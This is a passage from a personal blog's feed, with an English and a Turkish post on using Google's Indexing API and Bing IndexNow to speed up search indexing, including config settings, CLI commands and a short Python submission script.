&lt;span class="na"&gt;SITE_URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/&lt;/span&gt;

&lt;span class="k"&gt;[DEFAULT]&lt;/span&gt;
&lt;span class="na"&gt;CSV_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;article_links.csv&lt;/span&gt;
&lt;span class="na"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;service-account.json&lt;/span&gt;
&lt;span class="na"&gt;LOG_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;indexing.log&lt;/span&gt;

&lt;span class="k"&gt;[API]&lt;/span&gt;
&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://indexing.googleapis.com/v3/urlNotifications:publish&lt;/span&gt;
&lt;span class="na"&gt;REQUEST_DELAY_SECONDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;COOLDOWN_DAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;[BING]&lt;/span&gt;
&lt;span class="na"&gt;API_KEY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;your_bing_indexnow_api_key&lt;/span&gt;
&lt;span class="na"&gt;KEY_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/your_bing_indexnow_api_key.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: Cooldown &amp;amp; Request Delays&lt;/p&gt;
&lt;p&gt;Thanks to the &lt;code&gt;COOLDOWN_DAYS = 3&lt;/code&gt; setting, any URLs that aren't indexed yet but have been submitted are protected from re-submission for 3 days. This prevents us from spamming Google and getting penalized. The &lt;code&gt;REQUEST_DELAY_SECONDS = 10&lt;/code&gt; adds a delay between API requests to respect rate limits.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="step-by-step-smart-workflow"&gt;⚙️ Step-by-Step Smart Workflow&lt;a class="headerlink" href="#step-by-step-smart-workflow" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Once your setup is ready, navigate to your blog directory and run these commands:&lt;/p&gt;
&lt;h4 id="step-1-export-pelican-posts-to-the-csv-database"&gt;Step 1: Export Pelican Posts to the CSV Database&lt;a class="headerlink" href="#step-1-export-pelican-posts-to-the-csv-database" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Scan your blog and append all active article links to the tracking list (&lt;code&gt;article_links.csv&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="step-2-submit-to-bing-indexnow-in-batches"&gt;Step 2: Submit to Bing IndexNow in Batches&lt;a class="headerlink" href="#step-2-submit-to-bing-indexnow-in-batches" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Bing accepts all new links in a single payload, which is incredibly efficient:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Preview what will be sent (dry run):&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing&lt;span class="w"&gt; &lt;/span&gt;--dry-run

&lt;span class="c1"&gt;# Live submit to Bing:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="step-3-smart-google-inspection-and-submission-smart-mode"&gt;Step 3: Smart Google Inspection and Submission (Smart Mode)&lt;a class="headerlink" href="#step-3-smart-google-inspection-and-submission-smart-mode" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Pay close attention, this is the most critical step. This command inspects the current indexing status of pending URLs in our list using the Google Search Console API&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. If a page is already indexed, its status updates to &lt;code&gt;PASS&lt;/code&gt;. If it is not indexed and the cooldown period has expired, it gets submitted to the Google Indexing API, and a 3-day cooldown timer starts.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Perform a safe simulation run:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;smart&lt;span class="w"&gt; &lt;/span&gt;--dry-run&lt;span class="w"&gt; &lt;/span&gt;--limit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;

&lt;span class="c1"&gt;# Execute live inspection and submission:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;smart&lt;span class="w"&gt; &lt;/span&gt;--limit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you only want to check the status of a specific URL without wasting your API quota, use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;inspect&lt;span class="w"&gt; &lt;/span&gt;--url&lt;span class="w"&gt; &lt;/span&gt;https://yuceltoluyag.github.io/my-article-link/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="seo-insights-and-quota-policies_1"&gt;⏳ SEO Insights and Quota Policies&lt;a class="headerlink" href="#seo-insights-and-quota-policies" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When using search engine APIs, we need to manage our limits as strictly as a tight household budget. The boundaries are clear:
- &lt;strong&gt;Google Indexing API:&lt;/strong&gt; Daily quota is capped at &lt;strong&gt;200 URLs&lt;/strong&gt;. Setting the smart command limit to 50 or 100 is a smart move.
- &lt;strong&gt;Bing IndexNow API:&lt;/strong&gt; Allows up to &lt;strong&gt;10,000 URLs&lt;/strong&gt; in a single batch request.
- &lt;strong&gt;Spam Prevention:&lt;/strong&gt; Repeatedly submitting the same URLs ruins your site's reputation. Never disable the built-in cooldown mechanism.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="summary-of-key-takeaways"&gt;📋 Summary of Key Takeaways&lt;a class="headerlink" href="#summary-of-key-takeaways" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The Google Indexing API allows us to notify search bots instantly instead of waiting days.&lt;/li&gt;
&lt;li&gt;Creating a service account and granting it "Owner" permission in Search Console is a hard prerequisite.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;google-indexer&lt;/code&gt; tool manages this process safely via a local CSV database to prevent spam.&lt;/li&gt;
&lt;li&gt;Bing IndexNow integration keeps our Bing index updated with a single batch command.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="final-words"&gt;🎯 Final Words&lt;a class="headerlink" href="#final-words" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Long story short, instead of passively waiting for Google bots to crawl your site, you can take control. You can bind this tool to a daily cron job or task scheduler on your server or machine, sit back, and relax.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Explore More:&lt;/strong&gt;
- &lt;a href="/en/github-sadece-bir-klasor-indirme/"&gt;Git sparse-checkout guide&lt;/a&gt;
- &lt;a href="/en/otomatik-bing-indexnow-kullanimi"&gt;Bing IndexNow usage guide&lt;/a&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The Google Search Console API is the official interface that allows you to programmatically inspect your URLs' live indexation status and coverage issues.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Web Geliştirme"/><category term="google indexing api"/><category term="seo"/><category term="python"/><category term="google search console"/><category term="url indexleme"/></entry><entry><title>Rehber: Google Indexing API kullanımı</title><link href="https://yuceltoluyag.github.io/google-indexing-api-nasil-kullanilir/" rel="alternate"/><published>2025-11-05T20:45:00+03:00</published><updated>2025-11-05T20:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-05:/google-indexing-api-nasil-kullanilir/</id><summary type="html">&lt;p&gt;Google Indexing API ile yeni veya silinen sayfaları hızlıca Google’a bildir. SEO sürecini hızlandırmak için örnek Python koduyla adım adım anlatım.&lt;/p&gt;</summary><content type="html">&lt;h2 id="google-indexing-api-nedir"&gt;🚀 Google Indexing API nedir?&lt;a class="headerlink" href="#google-indexing-api-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yeni bir blog yaz&amp;inodot;s&amp;inodot; yazd&amp;inodot;n, heyecanla yay&amp;inodot;na ald&amp;inodot;n ama Google g&amp;uuml;nlerdir sitene u&amp;gbreve;ram&amp;inodot;yor mu? 😤 &amp;Idot;&amp;scedil;te tam bu noktada Google Indexing API imdada yeti&amp;scedil;iyor. Bu API, i&amp;ccedil;erik g&amp;uuml;ncellemelerini, yeni sayfalar&amp;inodot; veya silinen linkleri Google botlar&amp;inodot;na an&amp;inodot;nda f&amp;inodot;s&amp;inodot;ldaman&amp;inodot; sa&amp;gbreve;lar. &lt;/p&gt;
&lt;p&gt;D&amp;uuml;&amp;scedil;&amp;uuml;n ki f&amp;inodot;r&amp;inodot;ndan taze simit &amp;ccedil;&amp;inodot;km&amp;inodot;&amp;scedil; ama kokusu hen&amp;uuml;z soka&amp;gbreve;a yay&amp;inodot;lmam&amp;inodot;&amp;scedil;. Google botlar&amp;inodot;n&amp;inodot;n kendi kendine gelip siteni ke&amp;scedil;fetmesini beklemek, sabah ayaz&amp;inodot;nda okul formas&amp;inodot;yla Space Cadet Pinball oynamak kadar sab&amp;inodot;r gerektirir. &amp;Idot;&amp;scedil;te Indexing API, o s&amp;inodot;cak simitin kokusunu soka&amp;gbreve;a (yani Google dizinine) saniyeler i&amp;ccedil;inde yayan gizli g&amp;uuml;&amp;ccedil;t&amp;uuml;r.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: API S&amp;inodot;n&amp;inodot;rlar&amp;inodot; ve Resmi Destek&lt;/p&gt;
&lt;p&gt;Google bu API'yi resmi olarak sadece &lt;code&gt;JobPosting&lt;/code&gt; (&amp;Idot;&amp;scedil; &amp;Idot;lan&amp;inodot;) ve &lt;code&gt;BroadcastEvent&lt;/code&gt; (Canl&amp;inodot; Yay&amp;inodot;n) yap&amp;inodot;sal veri t&amp;uuml;rleri i&amp;ccedil;in destekledi&amp;gbreve;ini iddia ediyor. Fakat aram&amp;inodot;zda kals&amp;inodot;n; blog sitelerinde, haber portallar&amp;inodot;nda da t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor ve sayfalar&amp;inodot; &amp;inodot;&amp;scedil;&amp;inodot;k h&amp;inodot;z&amp;inodot;nda dizine ekletiyor.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;✍️ Ki&amp;scedil;isel Deneyimim&lt;/p&gt;
&lt;p&gt;Ge&amp;ccedil;mi&amp;scedil;te blog sistemimi ka&amp;ccedil; kez de&amp;gbreve;i&amp;scedil;tirdi&amp;gbreve;imi ben bile unuttum. Bazen Jekyll kulland&amp;inodot;m, bazen Pelican'a ge&amp;ccedil;tim, bir ara WordPress'e bile bula&amp;scedil;t&amp;inodot;m. Her sistem ve domain de&amp;gbreve;i&amp;scedil;ikli&amp;gbreve;inde link yap&amp;inodot;lar&amp;inodot;m &amp;ccedil;orba oldu. Sonu&amp;ccedil;? 😩 Bir zamanlar Google'da ilk sayfada yer alan can&amp;inodot;m makalelerim, sanki internette hi&amp;ccedil; var olmam&amp;inodot;&amp;scedil; gibi silindi gitti. Eme&amp;gbreve;imin bo&amp;scedil;a gitmesinden deli gibi korktum. &amp;Idot;&amp;scedil;te bu paronaya ve hayal k&amp;inodot;r&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot;yla yapt&amp;inodot;&amp;gbreve;&amp;inodot;m ara&amp;scedil;t&amp;inodot;rmalar beni Google Indexing API ile tan&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;. AI teknolojilerinin her &amp;scedil;eyi ele ge&amp;ccedil;irdi&amp;gbreve;i, insanlar&amp;inodot;n blog okuma al&amp;inodot;&amp;scedil;kanl&amp;inodot;klar&amp;inodot;n&amp;inodot;n azald&amp;inodot;&amp;gbreve;&amp;inodot; bu d&amp;ouml;nemde bile, "az ama &amp;ouml;z" kitleye ula&amp;scedil;mak benim i&amp;ccedil;in paha bi&amp;ccedil;ilemez. Bu y&amp;uuml;zden bu sistem benim can simidim oldu.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="gerekli-hazrlklar"&gt;🧩 Gerekli haz&amp;inodot;rl&amp;inodot;klar&lt;a class="headerlink" href="#gerekli-hazrlklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Google Indexing API'yi kullanmaya ba&amp;scedil;lamadan &amp;ouml;nce, Google'&amp;inodot;n kap&amp;inodot;s&amp;inodot;n&amp;inodot; &amp;ccedil;alabilmek i&amp;ccedil;in baz&amp;inodot; anahtarlar&amp;inodot; cebimize koymam&amp;inodot;z gerekiyor.&lt;/p&gt;
&lt;h3 id="1-google-cloud-projesi-olustur"&gt;1. Google Cloud Projesi Olu&amp;scedil;tur&lt;a class="headerlink" href="#1-google-cloud-projesi-olustur" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;lk i&amp;scedil; olarak bir Google Cloud projesine ihtiyac&amp;inodot;m&amp;inodot;z var:
- &lt;a href="https://console.cloud.google.com/" rel="noopener noreferrer" target="_blank"&gt;Google Cloud Console&lt;/a&gt; adresine git, yeni bir proje olu&amp;scedil;tur.
- Sol men&amp;uuml;den ya da arama &amp;ccedil;ubu&amp;gbreve;undan "&lt;strong&gt;Web Search Indexing API&lt;/strong&gt;" servisini bul ve projende etkinle&amp;scedil;tir.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Google Indexing API Python ile nas&amp;inodot;l kullan&amp;inodot;l&amp;inodot;r rehberi" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-nasil-kullanilir-xl.webp" srcset="/images/google-indexing-api-nasil-kullanilir-sm.webp 300w, /images/google-indexing-api-nasil-kullanilir-md.webp 500w, /images/google-indexing-api-nasil-kullanilir-lg.webp 800w, /images/google-indexing-api-nasil-kullanilir-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;h3 id="2-service-account-hizmet-hesab-tanmla"&gt;2. Service Account (Hizmet Hesab&amp;inodot;) Tan&amp;inodot;mla&lt;a class="headerlink" href="#2-service-account-hizmet-hesab-tanmla" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;API'yi kodumuzla &amp;ccedil;a&amp;gbreve;&amp;inodot;rabilmek i&amp;ccedil;in sanal bir kimlik olu&amp;scedil;turmal&amp;inodot;y&amp;inodot;z:
- Cloud Console &amp;gt; "APIs &amp;amp; Services" &amp;gt; "Credentials" (Kimlik Bilgileri) men&amp;uuml;s&amp;uuml;ne gir.
- "Create credentials" &amp;gt; "Service account" se&amp;ccedil;ene&amp;gbreve;ine t&amp;inodot;kla.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Google Indexing API Credentials olu&amp;scedil;turma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-service-account-xl.webp" srcset="/images/google-indexing-api-service-account-sm.webp 300w, /images/google-indexing-api-service-account-md.webp 500w, /images/google-indexing-api-service-account-lg.webp 800w, /images/google-indexing-api-service-account-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hesaba akl&amp;inodot;nda kalacak, d&amp;uuml;zg&amp;uuml;n bir isim ver ve "Create and continue" de. Sonraki ad&amp;inodot;mlar&amp;inodot; direkt bo&amp;scedil; ge&amp;ccedil;erek tamamlayabilirsin.&lt;/li&gt;
&lt;li&gt;Bu i&amp;scedil;lem bitti&amp;gbreve;inde ekran&amp;inodot;nda &lt;code&gt;indexer@proje-id.iam.gserviceaccount.com&lt;/code&gt; format&amp;inodot;nda bir e-posta adresi g&amp;ouml;receksiniz. Bu e-postay&amp;inodot; bir kenara kopyala, Search Console yetkilendirmesinde laz&amp;inodot;m olacak.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Google Indexing API Key olu&amp;scedil;turma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-add-key-xl.webp" srcset="/images/google-indexing-api-add-key-sm.webp 300w, /images/google-indexing-api-add-key-md.webp 500w, /images/google-indexing-api-add-key-lg.webp 800w, /images/google-indexing-api-add-key-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Olu&amp;scedil;turdu&amp;gbreve;un hizmet hesab&amp;inodot;n&amp;inodot;n detay&amp;inodot;na gir, "Keys" (Anahtarlar) sekmesinden "Add Key" &amp;gt; "Create new key" se&amp;ccedil;ene&amp;gbreve;ine t&amp;inodot;kla.&lt;/li&gt;
&lt;li&gt;Format olarak &lt;strong&gt;JSON&lt;/strong&gt; se&amp;ccedil;ip bilgisayar&amp;inodot;na indir. &amp;Idot;nen bu dosyaya &lt;code&gt;service-account.json&lt;/code&gt; ad&amp;inodot;n&amp;inodot; ver. Bu dosya senin gizli anahtar&amp;inodot;nd&amp;inodot;r, kimseyle payla&amp;scedil;ma.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-google-search-console-yetkisi-ver"&gt;3. Google Search Console Yetkisi Ver&lt;a class="headerlink" href="#3-google-search-console-yetkisi-ver" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Google'&amp;inodot;n "Dur bakal&amp;inodot;m, ba&amp;scedil;kas&amp;inodot;n&amp;inodot;n sitesini dizine ekletmeye &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yorsun ya?" dememesi i&amp;ccedil;in hizmet hesab&amp;inodot;n&amp;inodot; yetkilendirmeliyiz:
- Google &lt;a href="https://search.google.com/search-console/users" rel="noopener noreferrer" target="_blank"&gt;Search Console&lt;/a&gt; ekran&amp;inodot;na git.
- Ayarlar &amp;gt; Kullan&amp;inodot;c&amp;inodot;lar ve &amp;Idot;zinler &amp;gt; Kullan&amp;inodot;c&amp;inodot; Ekle yolunu izle.
- E-posta k&amp;inodot;sm&amp;inodot;na az &amp;ouml;nce kopyalad&amp;inodot;&amp;gbreve;&amp;inodot;n hizmet hesab&amp;inodot; e-postas&amp;inodot;n&amp;inodot; yaz ve yetkiyi kesinlikle &lt;strong&gt;Sahibi (Owner)&lt;/strong&gt; olarak se&amp;ccedil;. Yetkiyi eksik verirsen kod hata verir, benden s&amp;ouml;ylemesi.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! Arama Konsolu API Yetkisi&lt;/p&gt;
&lt;p&gt;Sadece Indexing API'yi a&amp;ccedil;mak yetmez! Geli&amp;scedil;tirdi&amp;gbreve;imiz ak&amp;inodot;ll&amp;inodot; arac&amp;inodot;n URL durumlar&amp;inodot;n&amp;inodot; denetleyebilmesi i&amp;ccedil;in &lt;a href="https://console.developers.google.com/apis/api/searchconsole.googleapis.com/overview" rel="noopener noreferrer" target="_blank"&gt;Google Search Console API&lt;/a&gt; servisini de ayn&amp;inodot; Cloud projesinde etkinle&amp;scedil;tirmen gerekir.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="python-ile-google-indexing-api-kullanm_1"&gt;💻 Python ile Google Indexing API Kullan&amp;inodot;m&amp;inodot;&lt;a class="headerlink" href="#python-ile-google-indexing-api-kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er her &amp;scedil;eyi s&amp;inodot;f&amp;inodot;rdan ve ham kodla denemek istersen, a&amp;scedil;a&amp;gbreve;&amp;inodot;daki basit Python beti&amp;gbreve;i bir CSV dosyas&amp;inodot;ndaki linkleri s&amp;inodot;rayla okuyup Google'a bildirir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;google.auth.transport.requests&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AuthorizedSession&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;google.oauth2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;service_account&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;csv&lt;/span&gt;

&lt;span class="n"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'service-account.json'&lt;/span&gt;
&lt;span class="n"&gt;SCOPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'https://www.googleapis.com/auth/indexing'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;API_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'https://indexing.googleapis.com/v3/urlNotifications:publish'&lt;/span&gt;

&lt;span class="n"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;service_account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_service_account_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scopes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SCOPES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AuthorizedSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'urls.csv'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'type'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'URL_UPDATED'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;API_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ H&amp;inodot;zl&amp;inodot; &amp;ccedil;&amp;ouml;z&amp;uuml;mler veya k&amp;inodot;sa yollar i&amp;ccedil;in.&lt;/p&gt;
&lt;p&gt;Kod i&amp;ccedil;erisindeki &lt;code&gt;URL_UPDATED&lt;/code&gt; parametresi sayfan&amp;inodot;n eklendi&amp;gbreve;ini veya g&amp;uuml;ncellendi&amp;gbreve;ini belirtir. E&amp;gbreve;er sitenden u&amp;ccedil;urdu&amp;gbreve;un bir i&amp;ccedil;eri&amp;gbreve;i Google dizininden de silmek istersen &lt;code&gt;URL_DELETED&lt;/code&gt; parametresini g&amp;ouml;ndermen gerekir.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="coklu-projeler-icin-modern-cozum-google-bing-indexing-tool"&gt;🔧 &amp;Ccedil;oklu Projeler &amp;Idot;&amp;ccedil;in Modern &amp;Ccedil;&amp;ouml;z&amp;uuml;m: Google &amp;amp; Bing Indexing Tool&lt;a class="headerlink" href="#coklu-projeler-icin-modern-cozum-google-bing-indexing-tool" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
